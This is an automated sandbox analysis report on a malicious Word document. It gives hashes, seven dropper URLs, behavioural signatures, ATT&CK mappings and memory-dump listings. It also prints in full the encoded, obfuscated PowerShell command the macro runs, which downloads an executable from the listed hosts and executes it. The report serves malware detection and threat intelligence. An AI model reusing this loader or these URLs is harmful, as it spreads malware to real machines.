9949e3d333621f908c51a04136a6b85f266068d36c239f2ae844bb50e4cd4bf5

General

Target

694a76b09d502b6d0cf0f9f0eb3e203d_JaffaCakes118.doc
Size

220KB
MD5

694a76b09d502b6d0cf0f9f0eb3e203d
SHA1

ba55e49aef510478e66c0b5571370a2c3a9eb9ff
SHA256

9949e3d333621f908c51a04136a6b85f266068d36c239f2ae844bb50e4cd4bf5
SHA512

ecf84e8dc9c540d861eac992666cc3ad1962cf41749037f03d426c351969e29dc9e7529558dfdcc239c4571002c41a22d1f9bd72064fdd0d960d1bfc30b460ff
SSDEEP

3072:b4tcTvjvTY140818tIP4ovpLSGju9jDW1M+7Qp3S:EtcnvE140o8tIP4ap8jDjmGS

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://hottco.com/stats/erd/

exe.dropper

http://dutarini.com/cgi-bin/6/

exe.dropper

https://brownshotelgroup.com/www.brownshotelgroup.com.pt/i9/

exe.dropper

http://pastaciyiz.biz/wp-includes/fvx/

exe.dropper

https://dogaltrm.com/components/r6h/

exe.dropper

https://dortislem.net/administrator/c/

exe.dropper

https://onyourleftracing.com/cgi-bin/QcC/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2644	2984	powershell.exe

Blocklisted process makes network request 6 IoCs

Processes:

powershell.exe

flow pid process

29 2644 powershell.exe
31 2644 powershell.exe
33 2644 powershell.exe
89 2644 powershell.exe
91 2644 powershell.exe
108 2644 powershell.exe

flow	pid	process
29	2644	powershell.exe
31	2644	powershell.exe
33	2644	powershell.exe
89	2644	powershell.exe
91	2644	powershell.exe
108	2644	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

4936 WINWORD.EXE
4936 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

2644 powershell.exe
2644 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2644 powershell.exe
Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

WINWORD.EXE

pid process

4936 WINWORD.EXE
4936 WINWORD.EXE
4936 WINWORD.EXE
4936 WINWORD.EXE
4936 WINWORD.EXE
4936 WINWORD.EXE
4936 WINWORD.EXE

pid	process
4936	WINWORD.EXE
4936	WINWORD.EXE

pid	process
2644	powershell.exe
2644	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2644	powershell.exe

pid	process
4936	WINWORD.EXE
4936	WINWORD.EXE
4936	WINWORD.EXE
4936	WINWORD.EXE
4936	WINWORD.EXE
4936	WINWORD.EXE
4936	WINWORD.EXE

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\694a76b09d502b6d0cf0f9f0eb3e203d_JaffaCakes118.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:4936

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -en JABHAHQAagB0ADYAZwBfAD0AKAAnAFMAcQAnACsAKAAnAHUAegAnACsAJwB6AG4AagAnACkAKQA7ACYAKAAnAG4AZQAnACsAJwB3AC0AaQB0AGUAbQAnACkAIAAkAGUAbgB2ADoAVQBTAEUAcgBwAHIAbwBmAEkAbABlAFwAZQBsAGIAUQA4AEsASABcAEwAcQBNAGYAZQBqADQAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAHIARQBjAFQATwBSAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAYABFAGMAYABVAHIAYABJAFQAWQBwAHIAbwBUAE8AYABjAG8AbAAiACAAPQAgACgAKAAnAHQAbABzACcAKwAnADEAMgAnACkAKwAnACwAJwArACcAIAAnACsAJwB0ACcAKwAoACcAbABzADEAMQAnACsAJwAsACAAJwArACcAdABsACcAKQArACcAcwAnACkAOwAkAFoAYgB0AG8AaABkADcAIAA9ACAAKAAnAFUAJwArACgAJwAxACcAKwAnADgAbQBpAGEAegBxACcAKQApADsAJABDAG0AMwBkAG0AbAAyAD0AKAAnAFIAZQAnACsAKAAnAHkANQAnACsAJwBtADgAJwApACsAJwBhACcAKQA7ACQAVABtAGkANABoAHAAcwA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAKAAnAGcARwAnACsAJwB4ACcAKQArACcARQAnACsAJwBsACcAKwAoACcAYgBxADgAJwArACcAawAnACkAKwAoACcAaAAnACsAJwBnAEcAeAAnACkAKwAoACcATABxACcAKwAnAG0AZgBlAGoAJwApACsAKAAnADQAZwAnACsAJwBHAHgAJwApACkAIAAtAHIAZQBQAGwAYQBjAEUAIAAgACgAWwBjAGgAQQBSAF0AMQAwADMAKwBbAGMAaABBAFIAXQA3ADEAKwBbAGMAaABBAFIAXQAxADIAMAApACwAWwBjAGgAQQBSAF0AOQAyACkAKwAkAFoAYgB0AG8AaABkADcAKwAoACgAJwAuACcAKwAnAGUAeAAnACkAKwAnAGUAJwApADsAJABBADEAcQAxAHMAcABkAD0AKAAoACcAUgBuACcAKwAnAHAAbQAnACkAKwAnAHEAdwAnACsAJwBqACcAKQA7ACQARAAxAGUAYQA2AGMAMAA9AC4AKAAnAG4AZQB3ACcAKwAnAC0AJwArACcAbwBiAGoAZQBjAHQAJwApACAATgBlAFQALgBXAEUAQgBDAEwAaQBFAG4AVAA7ACQATABpADcAdQAxAGkAMwA9ACgAKAAnAGgAdAB0AHAAJwArACcAOgAvACcAKwAnAC8AaABvACcAKQArACgAJwB0ACcAKwAnAHQAYwBvACcAKwAnAC4AYwBvAG0ALwAnACkAKwAoACcAcwB0AGEAJwArACcAdABzACcAKQArACgAJwAvAGUAJwArACcAcgBkAC8AJwApACsAJwAqAGgAJwArACcAdAAnACsAKAAnAHQAcAA6ACcAKwAnAC8AJwApACsAJwAvACcAKwAoACcAZAAnACsAJwB1AHQAJwArACcAYQByAGkAbgBpAC4AJwArACcAYwBvAG0ALwBjACcAKQArACcAZwBpACcAKwAoACcALQBiACcAKwAnAGkAbgAnACsAJwAvADYALwAnACsAJwAqAGgAdAAnACsAJwB0AHAAcwA6AC8AJwApACsAKAAnAC8AYgAnACsAJwByAG8AdwBuAHMAJwArACcAaABvAHQAJwApACsAKAAnAGUAJwArACcAbABnAHIAJwApACsAKAAnAG8AdQBwAC4AJwArACcAYwBvACcAKQArACcAbQAnACsAKAAnAC8AJwArACcAdwB3ACcAKwAnAHcALgBiAHIAJwApACsAKAAnAG8AdwBuACcAKwAnAHMAaAAnACkAKwAoACcAbwB0AGUAJwArACcAbABnAHIAJwApACsAJwBvAHUAJwArACgAJwBwAC4AYwAnACsAJwBvACcAKQArACcAbQAnACsAJwAuAHAAJwArACgAJwB0ACcAKwAnAC8AaQAnACkAKwAoACcAOQAvACoAaAAnACsAJwB0AHQAcAAnACsAJwA6ACcAKQArACcALwAnACsAJwAvACcAKwAnAHAAJwArACgAJwBhAHMAdAAnACsAJwBhAGMAJwApACsAKAAnAGkAeQBpAHoALgAnACsAJwBiACcAKQArACgAJwBpAHoALwB3AHAAJwArACcALQBpAG4AJwArACcAYwAnACsAJwBsAHUAZABlAHMALwAnACkAKwAoACcAZgB2AHgALwAqAGgAJwArACcAdAB0ACcAKQArACcAcAAnACsAKAAnAHMAOgAvACcAKwAnAC8AJwApACsAKAAnAGQAbwAnACsAJwBnACcAKQArACgAJwBhACcAKwAnAGwAdAAnACkAKwAoACcAcgAnACsAJwBtAC4AYwAnACkAKwAnAG8AJwArACgAJwBtACcAKwAnAC8AYwAnACkAKwAnAG8AJwArACgAJwBtAHAAJwArACcAbwBuACcAKwAnAGUAbgAnACkAKwAoACcAdABzAC8AJwArACcAcgAnACkAKwAoACcANgBoACcAKwAnAC8AKgAnACkAKwAnAGgAdAAnACsAJwB0AHAAJwArACcAcwAnACsAKAAnADoALwAvAGQAJwArACcAbwAnACkAKwAoACcAcgB0AGkAJwArACcAcwAnACkAKwAoACcAbAAnACsAJwBlAG0AJwApACsAKAAnAC4AJwArACcAbgBlAHQALwBhAGQAJwApACsAKAAnAG0AaQAnACsAJwBuAGkAcwB0AHIAYQB0ACcAKwAnAG8AcgAvACcAKwAnAGMALwAnACkAKwAoACcAKgBoACcAKwAnAHQAdAAnACkAKwAnAHAAcwAnACsAKAAnADoALwAvAG8AJwArACcAbgAnACsAJwB5AG8AJwApACsAKAAnAHUAcgBsAGUAJwArACcAZgAnACkAKwAnAHQAJwArACgAJwByAGEAYwAnACsAJwBpACcAKwAnAG4AZwAuAGMAbwAnACkAKwAnAG0ALwAnACsAKAAnAGMAZwBpAC0AYgBpAG4AJwArACcALwBRACcAKwAnAGMAJwArACcAQwAnACkAKwAnAC8AJwApAC4AIgBzAGAAUABsAEkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAFYAbwAyADUAaQA4AG8APQAoACgAJwBWAHEAJwArACcAYQBpAHYAJwApACsAJwA1AHEAJwApADsAZgBvAHIAZQBhAGMAaAAoACQAVAB5AHEAZAB4AGsAcQAgAGkAbgAgACQATABpADcAdQAxAGkAMwApAHsAdAByAHkAewAkAEQAMQBlAGEANgBjADAALgAiAEQATwBXAGAATgBsAE8AQQBkAEYAYABJAEwAZQAiACgAJABUAHkAcQBkAHgAawBxACwAIAAkAFQAbQBpADQAaABwAHMAKQA7ACQAWABhAGgAawBqADEAeAA9ACgAKAAnAEcAdQAnACsAJwBwADAANwAnACkAKwAnAG8AJwArACcANAAnACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQAnACsAJwBJAHQAJwArACcAZQBtACcAKQAgACQAVABtAGkANABoAHAAcwApAC4AIgBsAGAARQBOAEcAVABoACIAIAAtAGcAZQAgADIAMQA1ADkANgApACAAewAuACgAJwBJAG4AdgAnACsAJwBvAGsAJwArACcAZQAtAEkAJwArACcAdABlAG0AJwApACgAJABUAG0AaQA0AGgAcABzACkAOwAkAFcAYQAwAGYAaABlAGQAPQAoACcASQA4ACcAKwAoACcAYwBwADYAeAAnACsAJwA2ACcAKQApADsAYgByAGUAYQBrADsAJABQAHEAcQBvAF8AdgBlAD0AKAAnAEIAJwArACgAJwB2ACcAKwAnAHkAcwBxACcAKQArACcAagBxACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAWQBuADEANQByAHgAMQA9ACgAKAAnAEMAOQAnACsAJwA5ACcAKwAnADQAdQBrACcAKQArACcAbwAnACkA
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2644

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\TCDCF85.tmp\gb.xsl
Filesize
262KB

MD5
51d32ee5bc7ab811041f799652d26e04

SHA1
412193006aa3ef19e0a57e16acf86b830993024a

SHA256
6230814bf5b2d554397580613e20681752240ab87fd354ececf188c1eabe0e97

SHA512
5fc5d889b0c8e5ef464b76f0c4c9e61bda59b2d1205ac9417cc74d6e9f989fb73d78b4eb3044a1a1e1f2c00ce1ca1bd6d4d07eeadc4108c7b124867711c31810

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_x0er141s.102.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2644-84-0x000001ECFF9D0000-0x000001ECFF9F2000-memory.dmp

Filesize
136KB

Download
memory/4936-11-0x00007FFDCC430000-0x00007FFDCC625000-memory.dmp

Filesize
2.0MB

Download
memory/4936-601-0x00007FFD8C4B0000-0x00007FFD8C4C0000-memory.dmp

Filesize
64KB

Download
memory/4936-5-0x00007FFD8C4B0000-0x00007FFD8C4C0000-memory.dmp

Filesize
64KB

Download
memory/4936-6-0x00007FFDCC430000-0x00007FFDCC625000-memory.dmp

Filesize
2.0MB

Download
memory/4936-7-0x00007FFDCC430000-0x00007FFDCC625000-memory.dmp

Filesize
2.0MB

Download
memory/4936-0-0x00007FFD8C4B0000-0x00007FFD8C4C0000-memory.dmp

Filesize
64KB

Download
memory/4936-28-0x00007FFDCC430000-0x00007FFDCC625000-memory.dmp

Filesize
2.0MB

Download
memory/4936-13-0x00007FFDCC430000-0x00007FFDCC625000-memory.dmp

Filesize
2.0MB

Download
memory/4936-12-0x00007FFDCC430000-0x00007FFDCC625000-memory.dmp

Filesize
2.0MB

Download
memory/4936-10-0x00007FFDCC430000-0x00007FFDCC625000-memory.dmp

Filesize
2.0MB

Download
memory/4936-9-0x00007FFDCC430000-0x00007FFDCC625000-memory.dmp

Filesize
2.0MB

Download
memory/4936-8-0x00007FFDCC430000-0x00007FFDCC625000-memory.dmp

Filesize
2.0MB

Download
memory/4936-17-0x00007FFD89B50000-0x00007FFD89B60000-memory.dmp

Filesize
64KB

Download
memory/4936-16-0x00007FFDCC430000-0x00007FFDCC625000-memory.dmp

Filesize
2.0MB

Download
memory/4936-602-0x00007FFDCC430000-0x00007FFDCC625000-memory.dmp

Filesize
2.0MB

Download
memory/4936-4-0x00007FFD8C4B0000-0x00007FFD8C4C0000-memory.dmp

Filesize
64KB

Download
memory/4936-14-0x00007FFDCC430000-0x00007FFDCC625000-memory.dmp

Filesize
2.0MB

Download
memory/4936-31-0x00007FFDCC430000-0x00007FFDCC625000-memory.dmp

Filesize
2.0MB

Download
memory/4936-59-0x00007FFDCC430000-0x00007FFDCC625000-memory.dmp

Filesize
2.0MB

Download
memory/4936-60-0x00007FFDCC430000-0x00007FFDCC625000-memory.dmp

Filesize
2.0MB

Download
memory/4936-3-0x00007FFDCC4CD000-0x00007FFDCC4CE000-memory.dmp

Filesize
4KB

Download
memory/4936-2-0x00007FFD8C4B0000-0x00007FFD8C4C0000-memory.dmp

Filesize
64KB

Download
memory/4936-1-0x00007FFD8C4B0000-0x00007FFD8C4C0000-memory.dmp

Filesize
64KB

Download
memory/4936-569-0x00007FFDCC430000-0x00007FFDCC625000-memory.dmp

Filesize
2.0MB

Download
memory/4936-570-0x00007FFDCC430000-0x00007FFDCC625000-memory.dmp

Filesize
2.0MB

Download
memory/4936-571-0x00007FFDCC430000-0x00007FFDCC625000-memory.dmp

Filesize
2.0MB

Download
memory/4936-574-0x00007FFDCC430000-0x00007FFDCC625000-memory.dmp

Filesize
2.0MB

Download
memory/4936-598-0x00007FFD8C4B0000-0x00007FFD8C4C0000-memory.dmp

Filesize
64KB

Download
memory/4936-599-0x00007FFD8C4B0000-0x00007FFD8C4C0000-memory.dmp

Filesize
64KB

Download
memory/4936-18-0x00007FFD89B50000-0x00007FFD89B60000-memory.dmp

Filesize
64KB

Download
memory/4936-600-0x00007FFD8C4B0000-0x00007FFD8C4C0000-memory.dmp

Filesize
64KB

Download
memory/4936-15-0x00007FFDCC430000-0x00007FFDCC625000-memory.dmp

Filesize
2.0MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v13

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Downloads